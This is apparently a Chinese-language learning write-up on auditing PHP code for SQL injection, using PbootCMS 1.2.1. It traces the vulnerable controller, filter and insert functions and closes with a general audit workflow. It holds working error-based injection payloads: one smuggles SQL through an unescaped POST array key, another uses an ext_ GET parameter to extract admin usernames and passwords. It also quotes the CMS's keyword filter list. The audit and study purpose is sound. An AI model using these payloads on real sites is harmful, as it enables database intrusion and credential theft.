PHP代码审计之学习SQL注入与审计流程

说在前面

本来只想复现一下sql注入的几篇文章,但在先知上找到了几篇非常好的入门审计的文章。于是打算按照他的审计思路,熟悉一下PHP代码审计流程,同时整理一下SQL注入的审计方法。

文章地址:https://xz.aliyun.com/t/3532

过程一 了解网站的基本架构

文章是拿PbootCMS1.2.1来做演示。 安装好系统,配置好数据库信息,阅读一下网站开发手册。

在审计之前,可以先做以下事情:

1. 了解网站目录结构
使用 tree > tree.txt 来生成文件树。快速了解系统。

2. 确定路由走向
一般是mvc的路由,这个cms还包含自定义路由。

过程二 了解系统参数与底层过滤情况

1.    了解系统参数过滤的情况
    a)原生GET,POST,REUQEST最简单的方法就是找一个系统中外部可访问的方法,使用
    var_dump($_GET);
    var_dump($_POST);
    var_dump($_REQUEST);
    来查看过滤情况

    文章使用了一个留言新增点,添加了上方语句之后。
    访问:/index.php/Message/add?test='";!-=$%^{()}<>
    用此来检测原始数据的过滤情况

    b)系统外部变量获取函数 get(),post(),request()
    可以直接使用seay搜索"get("来寻找到get数据处理的函数。

2.    了解数据库底层运行方式
    了解数据库增删查改的函数,查看是否有过滤。
    seay搜索:insert( 等。

SQL注入

在线留言处insert sql注入

复现漏洞

http://127.0.0.1/index.php/about/10

提交留言并抓包。

将:

contacts=1&mobile=2&content=3&checkcode=3231

修改为:

contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]

提交数据包,可以获得数据库用户名:

pic

代码分析

POST提交的地址为:

http://127.0.0.1/index.php/Message/add

根据路由,位置为: Message模块,add方法。

具体位置:apps/home/controller/MessageController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// 留言新增
public function add()
{
if ($_POST) {

if (time() - session('lastsub') < 10) {
alert_back('您提交太频繁了,请稍后再试!');
}

// 验证码验证
$checkcode = post('checkcode');
if ($this->config('message_check_code')) {
if (! $checkcode) {
alert_back('验证码不能为空!');
}

if ($checkcode != session('checkcode')) {
alert_back('验证码错误!');
}
}

// 读取字段
if (! $form = $this->model->getFormField(1)) {
alert_back('留言表单不存在任何字段,请核对后重试!');
}

// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if (is_array($field_data)) { // 如果是多选等情况时转换
$field_data = implode(',', $field_data);
}
if ($value->required && ! $field_data) {
alert_back($value->description . '不能为空!');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . ':' . post($value->name) . '<br>';
}
}

// 设置额外数据
if ($data) {
$data['acode'] = session('lg');
$data['user_ip'] = ip2long(get_user_ip());
$data['user_os'] = get_user_os();
$data['user_bs'] = get_user_bs();
$data['recontent'] = '';
$data['status'] = 0;
$data['create_user'] = 'guest';
$data['update_user'] = 'guest';
}

if ($this->model->addMessage($data)) {
session('lastsub', time()); // 记录最后提交时间
$this->log('留言提交成功!');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
$mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
alert_location('提交成功!', '-1');
} else {
$this->log('留言提交失败!');
alert_back('提交失败!');
}
} else {
error('提交失败,请使用POST方式提交!');
}
}

提交的步骤为:

  1. 判断POST提交的数据是否为空
  2. 检查字段值是否为空并获取字段值
  3. 设置额外数据后提交 调用:$this->model->addMessage($data)

为了了解对POST数据的过滤情况,跟踪接收数据处的post()函数: core\function\helper.php

1
2
3
4
5
6
7
8
9
10
11
12
function post($name, $type = null, $require = false, $vartext = null, $default = null)
{
$condition = array(
'd_source' => 'post',
'd_type' => $type,
'd_require' => $require,
$name => $vartext,
'd_default' => $default

);
return filter($name, $condition);
}

返回的数据进行了处理,继续跟踪filter()函数:core\function\helper.php

1
2
3
4
5
6
function filter($varname, $condition)
{
// ...对数据格式进行各种处理

return escape_string($data);
}

函数内容都是对是一些对数据格式的处理,在最后才有对数据内容进行处理的函数。

继续跟踪escape_string()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 获取转义数据,支持字符串、数组、对象
function escape_string($string, $dropStr = true)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = escape_string($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = escape_string($value);
}
} else { // 字符串处理
if ($dropStr) {
$string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string);
}
$string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
$string = addslashes($string);
}
return $string;
}

对数据内容进行的过滤为:

  1. 使用正则将一些sql注入的关键字替换为空
  2. htmlspecialchars():把预定义的字符转换为 HTML 实体。
  3. addslashes() :在预定义字符之前添加反斜杠的字符串。

但是这里只对数组值进行处理,却没有对数组的键进行处理。所以根据后面insert()函数的插入方式,可以进行sql注入。

以上是对POST传入参数的处理。

接着前面的$this->model->addMessage($data)

跟踪addMessage函数:apps\api\model\CmsModel.php

1
2
3
4
public function addMessage($table, $data)
{
return parent::table('ay_message')->autoTime()->insert($data);
}

继续跟踪insert()函数:core\basic\Model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// ******************************数据插入*******************************************************
/**
* 数据插入模型
*
* @param array $data
* 可以为一维或二维数组,
* 一维数组:array('username'=>"xsh",'sex'=>'男'),
* 二维数组:array(
* array('username'=>"xsh",'sex'=>'男'),
* array('username'=>"gmx",'sex'=>'女')
* )
* @param boolean $batch
* 是否启用批量一次插入功能,默认true
* @return boolean|boolean|array
*/
final public function insert(array $data = array(), $batch = true)
{
// 未传递数据时,使用data函数插入数据
if (! $data && isset($this->sql['data'])) {
return $this->insert($this->sql['data']);
}
if (is_array($data)) {

if (! $data)
return;
if (count($data) == count($data, 1)) { // 单条数据 判断是否为多维数组
$keys = '';
$values = '';
foreach ($data as $key => $value) {
if (! is_numeric($key)) { //判断键是否为数值
$keys .= "`" . $key . "`,"; //将键转换为 `key`如何拼接起来
$values .= "'" . $value . "',";//将值转换为 `value`
}
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
if ($this->intTimeFormat) {
$values .= "'" . time() . "','" . time() . "',";
} else {
$values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
if ($keys) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
$this->sql['field'] = '(' . substr($keys, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = "(" . substr($values, 0, - 1) . ")";
$sql = $this->buildSql($this->insertSql);
} else { // 多条数据
if ($batch) { // 批量一次性插入
$key_string = '';
$value_string = '';
$flag = false;
foreach ($data as $keys => $value) {
if (! $flag) {
$value_string .= ' SELECT ';
} else {
$value_string .= ' UNION All SELECT ';
}
foreach ($value as $key2 => $value2) {
// 字段获取只执行一次
if (! $flag && ! is_numeric($key2)) {
$key_string .= "`" . $key2 . "`,";
}
$value_string .= "'" . $value2 . "',";
}
$flag = true;
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
if ($this->intTimeFormat) {
$value_string .= "'" . time() . "','" . time() . "',";
} else {
$value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
$value_string = substr($value_string, 0, - 1);
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
}
if ($key_string) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
$this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = $value_string;
$sql = $this->buildSql($this->insertMultSql);
// 判断SQL语句是否超过数据库设置
if (get_db_type() == 'mysql') {
$max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2);
} else {
$max_allowed_packet = 1 * 1024 * 1024; // 其他类型数据库按照1M限制
}
if (strlen($sql) > $max_allowed_packet) { // 如果要插入的数据过大,则转换为一条条插入
return $this->insert($data, false);
}
} else { // 批量一条条插入
foreach ($data as $keys => $value) {
$result = $this->insert($value);
}
return $result;
}
}
} elseif ($this->sql['from']) {
if (isset($this->sql['field']) && $this->sql['field']) { // 表指定字段复制
$this->sql['field'] = "({$this->sql['field']})";
}
$sql = $this->buildSql($this->insertFromSql);
} else {
return;
}
return $this->getDb()->amd($sql);
}

insert函数只是对提交的数据进行了拼接,并未对数据进行过滤。

提交一个留言,查看提交的mysql语句。

INSERT INTO ay_message (`contacts`,`mobile`,`content`,`acode`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('1','2','3','cn','2130706433','Windows 10','Chrome','','0','guest','guest','2019-05-20 16:00:22','2019-05-20 16:00:22')

这里的1, 2, 3是我们可以控制的内容,但是内容会被过滤,所以不能进行sql注入,但还有contracts, mobile, content这三个从post传过去并没有进行过滤的参数名。

于是构造payload:

contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]

用Brupsuite抓包后提交,就会得到user()。

前台SQL注入

漏洞复现

直接访问:

http://127.0.0.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

源码分析

后面几个例子基本都是围绕这个点注入的。

直接来看源码:

\apps\home\controller\ParserController.php

里面有一个parserAfter函数,里面会调用指定列表的函数,跟进这个函数:

1
2
3
4
5
6
7

public function parserAfter($content)
{
...
$content = $this->parserSpecifyListLabel($content); // 指定列表
...
}

这个函数在进行数据筛选的时候,会调用:

1
2
3
4
5
6
7
8
9
...
// 数据筛选
$where2 = array();
foreach ($_GET as $key => $value) {
if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
$where2[$key] = get($key);
}
}
...

会判断get中的参数的前缀是否为ext_ 如果是,就加入where2数组。

where2数组最终会进入到下面的两个函数内。继续跟进这两个函数:

$data = $this->model->getList($scode, $num, $order, $where1, $where2);
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public function getSpecifyList($acode, $scode, $num, $order, $where = array())
{
...

return parent::table('ay_content a')->field($fields)
->where($where1, 'OR')
->where($where2)
->where($where, 'AND', 'AND', true)
->join($join)
->order($order)
->limit($num)
->decode()
->select();
}

可见,这个where2数组的会被带入到where函数内进行查询。

当payload被传入时,where函数会拼接数组里的值,进而导致sql注入漏洞。查询的sql语句如下所示。

1
SELECT  a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%123%' )   ORDER BY date DESC,sorting ASC,id DESC LIMIT 4

总结

见到有个大佬的文章里面总结的很好,这里就直接按他的思路来了。

在sql注入的审计过程中,一般的流程为:

  1. 在seay中开启查询日志
  2. 查找系统的输入点,尝试输入一些内容并执行
  3. 跟随输入信息,判断输入的内容是否被过滤,是否可利用。
  4. 构造注入语句进行测试

我觉得在这之前应该对框架和底层sql插入的函数方法有个大概的了解。

一些输入点的总结:

1)表单提交,主要是POST请求,也包括GET请求。

2)URL参数提交,主要为GET请求参数。

3)Cookie参数提交。

4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。

5)一些边缘的输入点,比如.jpg文件的一些文件信息等。

对TP的框架还是半懵半懂的状态,一定要学,必须要学。

这次倒是对sql注入的审计有了大概的框架了,后面要尝试审计几个小的cms。

0%